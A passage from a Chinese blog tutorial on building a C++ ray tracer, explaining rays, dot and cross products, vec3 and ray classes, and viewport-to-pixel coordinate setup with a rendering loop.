class="lvl-2"><p>&quot;255&quot;&#x8868;&#x793A;&#x6700;&#x5927;&#x989C;&#x8272;&#x503C;</p></li><li class="lvl-2"><p>&#x968F;&#x540E;6&#x7EC4;RGB&#x6570;&#x503C;&#x8868;&#x793A;6&#x4E2A;&#x50CF;&#x7D20;&#x7684;&#x989C;&#x8272;&#x503C;</p></li></ul><p>&#x6240;&#x4EE5;&#x5B9E;&#x9645;&#x56FE;&#x7247;&#x663E;&#x793A;&#x5982;&#x4E0B;&#xFF1A;</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305213841.png" alt="img"></p><hr><h4 id="2-&#x6570;&#x5B66;&#x57FA;&#x7840;">2. &#x6570;&#x5B66;&#x57FA;&#x7840;</h4><p><em><strong>&#x5C04;&#x7EBF;</strong></em><br>&#x524D;&#x9762;&#x63D0;&#x5230;&#x7684; ray &#x5C04;&#x7EBF;&#xFF0C;&#x5728;&#x7A7A;&#x95F4;&#x4E2D;&#x6EE1;&#x8DB3;&#xFF1A;<br>$$ \mathbf{P}(t) = \mathbf{A} + t\mathbf{b} $$</p><p>&#x5176;&#x4E2D;:</p><ul class="lvl-0"><li class="lvl-2"><p>$\mathbf{P}(t)$ &#x662F;&#x5C04;&#x7EBF;&#x4E0A;&#x4EFB;&#x610F;&#x4E00;&#x70B9;&#x7684;&#x4F4D;&#x7F6E;&#x5411;&#x91CF;</p></li><li class="lvl-2"><p>$\mathbf{A}$ &#x662F;&#x5C04;&#x7EBF;&#x8D77;&#x70B9;</p></li><li class="lvl-2"><p>$\mathbf{b}$ &#x662F;&#x5C04;&#x7EBF;&#x7684;&#x5355;&#x4F4D;&#x65B9;&#x5411;&#x5411;&#x91CF;</p></li><li class="lvl-2"><p>$t$ &#x662F;&#x53C2;&#x6570;&#xFF0C;&#x8868;&#x793A;&#x4ECE;&#x8D77;&#x70B9;&#x6CBF;&#x65B9;&#x5411;&#x884C;&#x8FDB;&#x7684;&#x8DDD;&#x79BB;</p></li></ul><p>&#x5982;&#x679C;&#x8981;&#x5C55;&#x793A;&#x5177;&#x4F53;&#x7684;&#x5206;&#x91CF;&#x5F62;&#x5F0F;&#xFF0C;&#x53EF;&#x4EE5;&#x5199;&#x4F5C;&#xFF1A;</p><p>$$ \begin{bmatrix} P_x(t) \ P_y(t) \ P_z(t) \end{bmatrix} =<br>\begin{bmatrix} A_x \ A_y \ A_z \end{bmatrix} +<br>t\begin{bmatrix} b_x \ b_y \ b_z \end{bmatrix} $$</p><p>&#x6D89;&#x53CA;&#x5230;&#x5411;&#x91CF;&#x4EE5;&#x53CA;&#x77E9;&#x9635;&#xFF0C;&#x4F46;&#x662F;&#x4E0D;&#x9700;&#x8981;&#x6DF1;&#x7A76;&#xFF0C;&#x4EE3;&#x7801;&#x5B9E;&#x73B0;&#x8D77;&#x6765;&#x4E5F;&#x4E0D;&#x96BE;&#x7406;&#x89E3;&#x3002;&#x73B0;&#x5728;&#x53EA;&#x9700;&#x8981;&#x660E;&#x767D;&#x51E0;&#x4E2A;&#x77E5;&#x8BC6;&#x70B9;&#x5373;&#x53EF;&#x3002;</p><p>&#x5C04;&#x7EBF;&#x53C8;&#x53EF;&#x4EE5;&#x5206;&#x4E3A;&#xFF1A;</p><ol><li class="lvl-3"><p>&#x89C6;&#x7EBF;&#x5C04;&#x7EBF;(View Ray):</p></li></ol><p>&#x53C8;&#x53EB;&#x505A;&#x4E3B;&#x5C04;&#x7EBF;&#xFF0C;&#x4E3B;&#x5C04;&#x7EBF;&#x662F;&#x4ECE;&#x76F8;&#x673A;/&#x89C2;&#x5BDF;&#x70B9;(view point)&#x53D1;&#x51FA;&#xFF0C;&#x7A7F;&#x8FC7;&#x56FE;&#x50CF;&#x5E73;&#x9762;&#x4E0A;&#x7684;&#x6BCF;&#x4E2A;&#x50CF;&#x7D20;&#xFF0C;&#x7528;&#x4E8E;&#x786E;&#x5B9A;&#x8BE5;&#x50CF;&#x7D20;&quot;&#x770B;&#x5230;&quot;&#x7684;&#x573A;&#x666F;&#x5185;&#x5BB9;&#x3002;&#x8FD9;&#x4E9B;&#x5C04;&#x7EBF;&#x51B3;&#x5B9A;&#x4E86;&#x54EA;&#x4E9B;&#x7269;&#x4F53;&#x4F1A;&#x51FA;&#x73B0;&#x5728;&#x6700;&#x7EC8;&#x6E32;&#x67D3;&#x7684;&#x56FE;&#x50CF;&#x4E2D;&#x3002;</p><ol start="2"><li class="lvl-3"><p>&#x9634;&#x5F71;&#x5C04;&#x7EBF;(Shadow Ray)</p></li></ol><svg width="500" height="350" xmlns="http://www.w3.org/2000/svg"><!-- 相机和主射线 --><circle cx="50" cy="150" r="10" fill="black"/><line x1="50" y1="150" x2="250" y2="150" stroke="red" stroke-width="1.5"/><text x="20" y="180" font-size="14">&#x76F8;&#x673A;</text><!-- 物体 --><rect x="250" y="120" width="60" height="60" fill="#dddddd" stroke="black"/><circle cx="400" cy="200" r="30" fill="#aaaaaa" stroke="black"/><!-- 光源 --><circle cx="400" cy="50" r="15" fill="yellow" stroke="orange" stroke-width="2"/><text x="390" y="30" font-size="14">&#x5149;&#x6E90;</text><!-- 交点 --><circle cx="250" cy="150" r="5" fill="blue"/><text x="230" y="140" font-size="14">&#x4EA4;&#x70B9;</text><!-- 阴影射线 --><line x1="250" y1="150" x2="400" y2="50" stroke="gray" stroke-width="1.5" stroke-dasharray="5,2"/><text x="300" y="80" font-size="14" fill="gray">&#x9634;&#x5F71;&#x5C04;&#x7EBF;</text><!-- 反射射线 --><line x1="250" y1="150" x2="200" y2="100" stroke="green" stroke-width="1.5"/><text x="180" y="90" font-size="14" fill="green">&#x53CD;&#x5C04;&#x5C04;&#x7EBF;</text><!-- 折射射线 --><line x1="250" y1="150" x2="310" y2="180" stroke="purple" stroke-width="1.5"/><text x="310" y="170" font-size="14" fill="purple">&#x6298;&#x5C04;&#x5C04;&#x7EBF;</text></svg><p>&#x9634;&#x5F71;&#x5C04;&#x7EBF;&#x53C8;&#x53EB;&#x6B21;&#x7EA7;&#x5C04;&#x7EBF;&#xFF0C;&#x5B83;&#x662F;&#x4ECE;&#x7269;&#x4F53;&#x8868;&#x9762;&#x7684;&#x4EA4;&#x70B9;&#x53D1;&#x51FA;&#xFF0C;&#x7528;&#x4E8E;&#x8BA1;&#x7B97;&#x5149;&#x7167;&#x3001;&#x9634;&#x5F71;&#x3001;&#x53CD;&#x5C04;&#x548C;&#x6298;&#x5C04;&#x7B49;&#x6548;&#x679C;&#x3002;&#x4E3B;&#x8981;&#x5305;&#x62EC;&#xFF1A;</p><ul class="lvl-0"><li class="lvl-2"><p>&#x9634;&#x5F71;&#x5C04;&#x7EBF;&#xFF1A;&#x4ECE;&#x4EA4;&#x70B9;&#x6307;&#x5411;&#x5149;&#x6E90;&#xFF0C;&#x5224;&#x65AD;&#x662F;&#x5426;&#x88AB;&#x906E;&#x6321;</p></li><li class="lvl-2"><p>&#x53CD;&#x5C04;&#x5C04;&#x7EBF;&#xFF1A;&#x6839;&#x636E;&#x53CD;&#x5C04;&#x5B9A;&#x5F8B;&#x8BA1;&#x7B97;&#xFF0C;&#x7528;&#x4E8E;&#x6E32;&#x67D3;&#x955C;&#x9762;&#x53CD;&#x5C04;</p></li><li class="lvl-2"><p>&#x6298;&#x5C04;&#x5C04;&#x7EBF;&#xFF1A;&#x7A7F;&#x900F;&#x900F;&#x660E;&#x7269;&#x4F53;&#xFF0C;&#x4EA7;&#x751F;&#x6298;&#x5C04;&#x6548;&#x679C;</p></li></ul><p><em><strong>&#x70B9;&#x4E58;</strong></em></p><p>&#x5411;&#x91CF; <strong>a</strong> &#x548C; <strong>b</strong> &#x7684;<strong>&#x70B9;&#x4E58;(dot)</strong>&#xFF0C;&#x8868;&#x793A;&#x5982;&#x4E0B;&#xFF1A;<br>$$ \mathbf{a} \cdot \mathbf{b} = a_x b_x + a_y b_y + a_z b_z = |\mathbf{a}||\mathbf{b}|\cos\theta $$</p><p>&#x5BF9;&#x5E94;&#x7684;&#x77E9;&#x9635;&#x8868;&#x8FBE;&#x65B9;&#x5F0F;&#x662F;&#xFF1A;<br>$$ \mathbf{a} \cdot \mathbf{b} = \begin{bmatrix} a_x &amp; a_y &amp; a_z \end{bmatrix} \begin{bmatrix} b_x \ b_y \ b_z \end{bmatrix} $$</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305104506.png" alt="image.png"></p><p>*<strong>&#x70B9;&#x4E58;&#x7684;&#x51E0;&#x4F55;&#x610F;&#x4E49;&#xFF1A;</strong></p><ul class="lvl-0"><li class="lvl-2"><p>&#x7ED3;&#x679C;&#x662F;&#x4E00;&#x4E2A;&#x6807;&#x91CF;</p></li><li class="lvl-2"><p>&#x7B49;&#x4E8E;&#x5411;&#x91CF;b&#x7684;&#x957F;&#x5EA6;&#x4E58;&#x4EE5;&#x5411;&#x91CF;a&#x5728;&#x5411;&#x91CF;b&#x65B9;&#x5411;&#x4E0A;&#x7684;&#x6295;&#x5F71;&#x957F;&#x5EA6;(&#x53CD;&#x8FC7;&#x6765;&#x4E5F;&#x4E00;&#x6837;)</p></li><li class="lvl-2"><p>$\mathbf{a} \cdot \mathbf{b} = |\mathbf{a}||\mathbf{b}|\cos\theta$</p></li><li class="lvl-2"><p>&#x53CD;&#x6620;&#x4E24;&#x5411;&#x91CF;&#x65B9;&#x5411;&#x7684;&#x76F8;&#x4F3C;&#x5EA6;&#xFF1A;</p><ul class="lvl-2"><li class="lvl-6">&#x6B63;&#x503C;&#xFF1A;&#x5939;&#x89D2;&#xFF1C;90&#xB0;&#xFF08;&#x65B9;&#x5411;&#x76F8;&#x4F3C;&#xFF09;</li><li class="lvl-6">&#x96F6;&#x503C;&#xFF1A;&#x5939;&#x89D2;=90&#xB0;&#xFF08;&#x5782;&#x76F4;&#xFF09;</li><li class="lvl-6">&#x8D1F;&#x503C;&#xFF1A;&#x5939;&#x89D2;&#xFF1E;90&#xB0;&#xFF08;&#x65B9;&#x5411;&#x76F8;&#x53CD;&#xFF09;</li></ul></li></ul><p><em><strong>&#x53C9;&#x4E58;</strong></em></p><p>&#x5BF9;&#x4E8E;&#x5411;&#x91CF; $\mathbf{a}$ &#x548C; $\mathbf{b}$&#xFF0C;**&#x53C9;&#x4E58;(cross)**&#x53EF;&#x4EE5;&#x8868;&#x793A;&#x4E3A;&#xFF1A;</p><p>$$ \mathbf{a} \times \mathbf{b} = \begin{vmatrix}<br>\mathbf{i} &amp; \mathbf{j} &amp; \mathbf{k} \<br>a_x &amp; a_y &amp; a_z \<br>b_x &amp; b_y &amp; b_z<br>\end{vmatrix} $$</p><p>&#x5C55;&#x5F00;&#x540E;&#x5F97;&#x5230;&#xFF1A;</p><p>$$ \mathbf{a} \times \mathbf{b} = \begin{pmatrix}<br>a_y b_z - a_z b_y \<br>a_z b_x - a_x b_z \<br>a_x b_y - a_y b_x<br>\end{pmatrix} $$</p><p><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305105231.png" alt="image.png"></p><p>&#x53C9;&#x4E58;&#x7684;&#x51E0;&#x4F55;&#x610F;&#x4E49;&#xFF1A;</p><ol><li class="lvl-3"><p>&#x7ED3;&#x679C;&#x662F;&#x4E00;&#x4E2A;&#x5411;&#x91CF;&#xFF0C;&#x4E14;&#x5782;&#x76F4;&#x4E8E; $\mathbf{a}$ &#x548C; $\mathbf{b}$</p></li><li class="lvl-3"><p>&#x65B9;&#x5411;&#x9075;&#x5FAA;&#x53F3;&#x624B;&#x5B9A;&#x5219;</p></li><li class="lvl-3"><p>&#x6A21;&#x957F;&#x7B49;&#x4E8E; $|\mathbf{a}||\mathbf{b}|\sin\theta$</p></li><li class="lvl-3"><p>&#x7B49;&#x4E8E;&#x7531;&#x4E24;&#x5411;&#x91CF;&#x6784;&#x6210;&#x7684;&#x5E73;&#x884C;&#x56DB;&#x8FB9;&#x5F62;&#x7684;&#x9762;&#x79EF;</p></li><li class="lvl-3"><p>&#x5E38;&#x7528;&#x4E8E;&#x8BA1;&#x7B97;&#x6CD5;&#x5411;&#x91CF;</p></li></ol><p>&#x7528;&#x4EE3;&#x7801;&#x8868;&#x793A;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight c++"><figcaption><span>vec3.h</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// &#x7701;&#x7565;&#x5176;&#x4ED6;&#x4EE3;&#x7801;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> point3 = vec3;</span><br><span class="line"></span><br><span class="line"><span class="comment">// &#x70B9;&#x4E58;</span></span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="type">double</span> <span class="title">dot</span><span class="params">(<span class="type">const</span> vec3&amp; u, <span class="type">const</span> vec3&amp; v)</span> </span>{</span><br><span class="line">&#xA0; &#xA0; <span class="keyword">return</span> u.e[<span class="number">0</span>] * v.e[<span class="number">0</span>]</span><br><span class="line">&#xA0; &#xA0; &#xA0; &#xA0; + u.e[<span class="number">1</span>] * v.e[<span class="number">1</span>]</span><br><span class="line">&#xA0; &#xA0; &#xA0; &#xA0; + u.e[<span class="number">2</span>] * v.e[<span class="number">2</span>];</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// &#x53C9;&#x4E58;</span></span><br><span class="line"><span class="function"><span class="keyword">inline</span> vec3 <span class="title">cross</span><span class="params">(<span class="type">const</span> vec3&amp; u, <span class="type">const</span> vec3&amp; v)</span> </span>{</span><br><span class="line">&#xA0; &#xA0; <span class="keyword">return</span> <span class="built_in">vec3</span>(</span><br><span class="line">&#xA0; &#xA0; &#xA0; &#xA0; u.e[<span class="number">1</span>] * v.e[<span class="number">2</span>] - u.e[<span class="number">2</span>] * v.e[<span class="number">1</span>],</span><br><span class="line">&#xA0; &#xA0; &#xA0; &#xA0; u.e[<span class="number">2</span>] * v.e[<span class="number">0</span>] - u.e[<span class="number">0</span>] * v.e[<span class="number">2</span>],</span><br><span class="line">&#xA0; &#xA0; &#xA0; &#xA0; u.e[<span class="number">0</span>] * v.e[<span class="number">1</span>] - u.e[<span class="number">1</span>] * v.e[<span class="number">0</span>]</span><br><span class="line">&#xA0; &#xA0; );</span><br><span class="line">}</span><br><span class="line"><span class="comment">// &#x5355;&#x4F4D;&#x5411;&#x91CF;</span></span><br><span class="line"><span class="function"><span class="keyword">inline</span> vec3 <span class="title">unit_vector</span><span class="params">(<span class="type">const</span> vec3&amp; v)</span> </span>{</span><br><span class="line">&#xA0; &#xA0; <span class="keyword">return</span> v / v.<span class="built_in">length</span>();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>ray &#x5C04;&#x7EBF;&#x7684;&#x8868;&#x8FBE;&#xFF1A;</p><figure class="highlight c++"><figcaption><span>ray.h</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifndef</span> RAY_H</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> RAY_H</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;vec3.h&quot;</span></span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ray</span> {</span><br><span class="line">  <span class="keyword">public</span>:</span><br><span class="line"><span class="comment">// ray &#x7684;&#x6784;&#x9020;&#x51FD;&#x6570;</span></span><br><span class="line">    <span class="built_in">ray</span>() {}</span><br><span class="line">    <span class="built_in">ray</span>(<span class="type">const</span> point3&amp; origin, <span class="type">const</span> vec3&amp; direction) : <span class="built_in">orig</span>(origin), <span class="built_in">dir</span>(direction) {}</span><br><span class="line"></span><br><span class="line"><span class="comment">// &#x539F;&#x70B9;&#x4EE5;&#x53CA;&#x65B9;&#x5411;</span></span><br><span class="line">    <span class="function"><span class="type">const</span> point3&amp; <span class="title">origin</span><span class="params">()</span> <span class="type">const</span>  </span>{ <span class="keyword">return</span> orig; }</span><br><span class="line">    <span class="function"><span class="type">const</span> vec3&amp; <span class="title">direction</span><span class="params">()</span> <span class="type">const</span> </span>{ <span class="keyword">return</span> dir; }</span><br><span class="line"><span class="comment">// &#x5F53;&#x524D;&#x7684;&#x4F4D;&#x7F6E;&#x8868;&#x8FBE;: p_at = orig + t*dir</span></span><br><span class="line">    <span class="function">point3 <span class="title">at</span><span class="params">(<span class="type">double</span> t)</span> <span class="type">const</span> </span>{</span><br><span class="line">        <span class="keyword">return</span> orig + t*dir;</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">  <span class="keyword">private</span>:</span><br><span class="line">    point3 orig;</span><br><span class="line">    vec3 dir;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure><h4 id="3-&#x7A7A;&#x95F4;&#x5750;&#x6807;">3. &#x7A7A;&#x95F4;&#x5750;&#x6807;</h4><p>&#x73B0;&#x5728;&#x5047;&#x8BBE;&#x6709;&#x4E00;&#x4E2A;&#x76F8;&#x673A;&#xFF0C;&#x5B83;&#x662F;&#x5C04;&#x7EBF;&#x7684;&#x51FA;&#x53D1;&#x70B9;&#xFF0C;&#x4F5C;&#x4E3A;&#x539F;&#x70B9;&#xFF0C;&#x5750;&#x6807;&#x662F;(0,0,0)&#x3002;&#x7136;&#x540E;&#x8FD8;&#x9700;&#x8981;&#x4E00;&#x4E2A;&#x5C4F;&#x5E55;&#xFF0C;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x53EB;&#x505A; viewport , &#x4F46;&#x662F;&#x5B83;&#x4E5F;&#x662F;&#x865A;&#x62DF;&#x7684;&#xFF0C;&#x662F;&#x7531;&#x50CF;&#x7D20;&#x77E9;&#x9635;&#x7EC4;&#x6210;&#x7684;&#xFF0C;&#x5BF9;&#x5E94;&#x7740;&#x6211;&#x4EEC;&#x80FD;&#x770B;&#x5230;&#x7684;&#x56FE;&#x50CF;&#x7684;&#x5E73;&#x9762;&#x3002;&#x5B83;&#x4EEC;&#x76EE;&#x524D;&#x7684;&#x5173;&#x7CFB;&#x5982;&#x4E0B;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305190502.png" alt="image.png"></p><p>&#x56DE;&#x5230;&#x50CF;&#x7D20;&#x77E9;&#x9635;&#x5E73;&#x9762;&#xFF0C;&#x5176;&#x5750;&#x6807;&#x5982;&#x4E0B;&#xFF1A;<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20250305190543.png" alt="image.png"></p><p>&#x8FD9;&#x91CC;&#x8981;&#x533A;&#x5206;&#x89C6;&#x53E3;&#x539F;&#x70B9; Q&#xFF0C;&#x50CF;&#x7D20;&#x539F;&#x70B9;P(0,0)&#xFF0C;&#x5B83;&#x4EEC;&#x7684;&#x5750;&#x6807;&#x662F;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#x3002;</p><p>&#x73B0;&#x5728;&#x4F7F;&#x7528;&#x4EE3;&#x7801;&#x6765;&#x5B9E;&#x73B0;&#x8FD9;&#x4E9B;&#x5750;&#x6807;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">   <span class="keyword">auto</span> aspect_ratio = <span class="number">16.0</span> / <span class="number">9.0</span>;  <span class="comment">// &#x8BBE;&#x7F6E;&#x957F;&#x5BBD;&#x6BD4;&#xFF0C;&#x53EF;&#x8C03;&#x6574;</span></span><br><span class="line">   <span class="type">int</span> image_width = <span class="number">400</span>;           <span class="comment">// &#x56FE;&#x50CF;&#x5BBD;&#x5EA6;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">// &#x6839;&#x636E;&#x56FE;&#x50CF;&#x5BBD;&#x5EA6;&#xFF0C;&#x8BA1;&#x7B97;&#x56FE;&#x50CF;&#x9AD8;&#x5EA6;</span></span><br><span class="line">   <span class="type">int</span> image_height = <span class="built_in">int</span>(image_width / aspect_ratio);</span><br><span class="line">   image_height = (image_height &lt; <span class="number">1</span>) ? <span class="number">1</span> : image_height;</span><br><span class="line"></span><br><span class="line">   <span class="comment">// &#x76F8;&#x673A;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// &#x76F8;&#x673A;&#x539F;&#x70B9;&#x5230;&#x89C6;&#x53E3;&#x4E2D;&#x5FC3;&#x70B9;&#x7684;&#x5782;&#x76F4;&#x8DDD;&#x79BB;</span></span><br><span class="line">   <span class="keyword">auto</span> focal_length = <span class="number">1.0</span>;</span><br><span class="line">   <span class="comment">// viewport &#x7684; &#x9AD8;&#x5EA6;</span></span><br><span class="line">   <span class="keyword">auto</span> viewport_height = <span class="number">2.0</span>;</span><br><span class="line">   <span class="comment">// &#x6839;&#x636E; viewport&#x7684;&#x9AD8;&#x5EA6;&#xFF0C;&#x8BA1;&#x7B97;&#x5176;&#x5BBD;&#x5EA6;</span></span><br><span class="line">   <span class="keyword">auto</span> viewport_width = viewport_height * (<span class="built_in">double</span>(image_width)/image_height);</span><br><span class="line">   <span class="comment">// &#x76F8;&#x673A;&#x4E2D;&#x5FC3;&#x70B9;</span></span><br><span class="line">   <span class="keyword">auto</span> camera_center = <span class="built_in">point3</span>(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">   <span class="comment">// viewport &#x7684; U&#xFF0C;V &#x65B9;&#x5411;&#x5750;&#x6807;</span></span><br><span class="line">   <span class="keyword">auto</span> viewport_u = <span class="built_in">vec3</span>(viewport_width, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">   <span class="keyword">auto</span> viewport_v = <span class="built_in">vec3</span>(<span class="number">0</span>, -viewport_height, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">   <span class="comment">// Calculate the horizontal and vertical delta vectors from pixel to pixel.</span></span><br><span class="line">   <span class="comment">// viewport &#x4E0A;&#x9762;&#x7684;&#x50CF;&#x7D20;&#x70B9;&#x95F4;&#x7684;&#x8DDD;&#x79BB;(u&#xFF0C;v &#x65B9;&#x5411;&#x6839;&#x636E; viewport &#x7684;&#x5BBD;&#x548C;&#x9AD8;&#x6765;&#x5206;&#x522B;&#x8BA1;&#x7B97;)</span></span><br><span class="line">   <span class="keyword">auto</span> pixel_delta_u = viewport_u / image_width;</span><br><span class="line">   <span class="keyword">auto</span> pixel_delta_v = viewport_v / image_height;</span><br><span class="line"></span><br><span class="line">   <span class="comment">// Calculate the location of the upper left pixel.</span></span><br><span class="line">   <span class="comment">// &#x8BA1;&#x7B97;&#x5F97;&#x5230;&#x5DE6;&#x4E0A;&#x89D2; Q &#x70B9;&#x7684;&#x5750;&#x6807;</span></span><br><span class="line">   <span class="keyword">auto</span> viewport_upper_left = camera_center</span><br><span class="line">                            - <span class="built_in">vec3</span>(<span class="number">0</span>, <span class="number">0</span>, focal_length) - viewport_u/<span class="number">2</span> - viewport_v/<span class="number">2</span>;</span><br><span class="line">   <span class="comment">// &#x8BA1;&#x7B97;&#x5F97;&#x5230;&#x8D77;&#x59CB;&#x50CF;&#x7D20;&#x70B9;&#x7684;&#x5750;&#x6807;(P(0,0)&#x70B9;)</span></span><br><span class="line">   <span class="keyword">auto</span> pixel00_loc = viewport_upper_left + <span class="number">0.5</span> * (pixel_delta_u + pixel_delta_v);</span><br></pre></td></tr></table></figure><p>&#x6709;&#x4E86;&#x76F8;&#x673A;&#x4E2D;&#x5FC3;&#x70B9;&#xFF0C;viewport&#x7684;&#x5DE6;&#x4E0A;&#x89D2;&#x7684;&#x70B9;&#xFF0C;&#x548C;&#x50CF;&#x7D20;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x70B9;(&#x626B;&#x63CF;&#x6240;&#x6709;&#x50CF;&#x7D20;&#x70B9;&#x65F6;&#xFF0C;&#x4ECE;&#x5DE6;&#x5230;&#x53F3;&#xFF0C;&#x4ECE;&#x4E0A;&#x5230;&#x4E0B;&#xFF0C;&#x56E0;&#x6B64;&#x5DE6;&#x4E0A;&#x89D2;&#x662F;&#x8D77;&#x70B9;)</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// &#x6309;&#x884C;&#x4ECE;&#x5DE6;&#x5230;&#x53F3;&#x626B;&#x63CF;</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; image_height; j++) {</span><br><span class="line">    <span class="comment">// &#x4ECE;&#x4E0A;&#x5230;&#x4E0B;&#x626B;&#x63CF;&#x5217;</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; image_width; i++) {</span><br><span class="line">    <span class="comment">// &#x6BCF;&#x6B21;&#x626B;&#x63CF;&#x65F6;&#x7684;&#x50CF;&#x7D20;&#x70B9;&#x5750;&#x6807;</span></span><br><span class="line">            <span class="keyword">auto</span> pixel_center = pixel00_loc + (i * pixel_delta_u) + (j * pixel_delta_v);</span><br><span class="line">            <span class="comment">// ray &#x5C04;&#x7EBF;&#x65B9;&#x5411;&#xFF0C;&#x7531;&#x76F8;&#x673A;&#x4E2D;&#x5FC3;&#x70B9;&#x6307;&#x5411;&#x50CF;&#x7D20;&#x70B9;</span></span><br><span class="line">            <span class="keyword">auto</span> ray_direction = pixel_center - camera_center;</span><br><span class="line">            <span class="comment">// &#x56E0;&#x6B64;&#x83B7;&#x5F97; ray &#x5C04;&#x7EBF;</span></span><br><span class="line">            <span class="function">ray <span class="title">r</span><span class="params">(camera_center, ray_direction)</span></span>;</span><br><span class="line"><span class="comment">// &#x5C04;&#x7EBF;&#x6240;&#x626B;&#x63CF;&#x5230;&#x7684;&#x70B9;&#xFF0C;&#x4F7F;&#x7528;ray_color &#x8FDB;&#x884C;&#x7740;&#x8272;</span></span><br><span class="line">            color pixel_color = <span class="built_in">ray_color</span>(r);</span><br><span class="line">            <span class="comment">// &#x7740;&#x8272;&#x540E;&#xFF0C;&#x5199;&#x5165;&#x56FE;&#x50CF;</span></span><br><span class="line">            <span class="built_in">write_color</span>(std::cout, pixel_color);</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line"><span class="function">color <span class="title">ray_color</span><span class="params">(<span class="type">const</span> ray&amp; r)</span> </span>{</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">color</span>(<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="4-&#x6E32;&#x67D3;">4. &#x6E32;&#x67D3;</h4><p>&#x524D;&#x9762;&#x5DF2;&#x7ECF;&#x5B8C;&#x6210;&#x90E8;&#x5206;&#x4EE3;&#x7801;&#xFF0C;&#x4EE5;&#x4E0B;&#x662F;&#x4E3B;&#x4EE3;&#x7801;:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span 